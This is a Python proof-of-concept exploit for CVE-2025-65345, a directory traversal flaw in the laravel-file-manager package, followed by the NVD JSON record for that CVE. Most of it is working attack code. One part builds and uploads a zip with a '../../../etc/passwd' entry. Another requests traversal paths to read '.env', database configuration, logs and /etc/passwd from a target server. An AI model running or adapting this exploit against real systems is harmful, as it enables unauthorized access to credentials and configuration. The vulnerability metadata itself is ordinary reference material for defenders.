CVE-2025-65345

import zipfile import os import requests # CVE-2025-65345 PoC - Directory Traversal in alexusmai/laravel-file-manager # Target: alexusmai/laravel-file-manager <= 3.3.1 def create_malicious_zip(): """Create a zip file with path traversal in filename""" malicious_filename = '../../../etc/passwd' with zipfile.ZipFile('/tmp/traversal.zip', 'w') as zf: # Add a file with path traversal sequence zf.writestr(malicious_filename, 'malicious content', compress_type=zipfile.ZIP_DEFLATED) return '/tmp/traversal.zip' def exploit(target_url, zip_file_path): """ Send malicious zip file to the file manager's archive endpoint """ upload_url = f"{target_url}/filemanager/upload" with open(zip_file_path, 'rb') as f: files = {'file': ('malicious.zip', f, 'application/zip')} data = {'path': '/uploads/', 'disk': 'public'} response = requests.post(upload_url, files=files, data=data) return response # Alternative: Direct file read via path traversal def read_sensitive_files(target_url): """ Attempt to read sensitive files via path traversal """ sensitive_paths = [ '../../../.env', '../../../config/database.php', '../../../storage/logs/laravel.log', '../../../etc/passwd' ] results = [] for path in sensitive_paths: # Try to access via download endpoint with path traversal download_url = f"{target_url}/filemanager/download?path={path}" try: response = requests.get(download_url) if response.status_code == 200 and len(response.content) > 0: results.append({'file': path, 'content': response.content[:500]}) except Exception as e: pass return results if __name__ == '__main__': target = 'http://target.com/laravel-file-manager' zip_path = create_malicious_zip() print(f'Created malicious zip: {zip_path}') print(f'Exploiting: {exploit(target, zip_path)}')

{"cve": {"id": "CVE-2025-65345", "sourceIdentifier": "[email protected]", "published": "2025-12-03T20:16:26.440", "lastModified": "2025-12-16T19:14:09.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "alexusmai laravel-file-manager 3.3.1 and below is vulnerable to Directory Traversal. The zip/archiving functionality allows an attacker to create archives containing files and directories outside the intended scope due to improper path validation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:alexusmai:laravel_file_manager:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.3.1", "matchCriteriaId": "B7BDA552-4A1F-44DE-9F9F-06C8883A1D9D"}]}]}], "references": [{"url": "https://github.com/alexusmai/laravel-file-manager", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/tlekrean/CVE-2025-65345", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}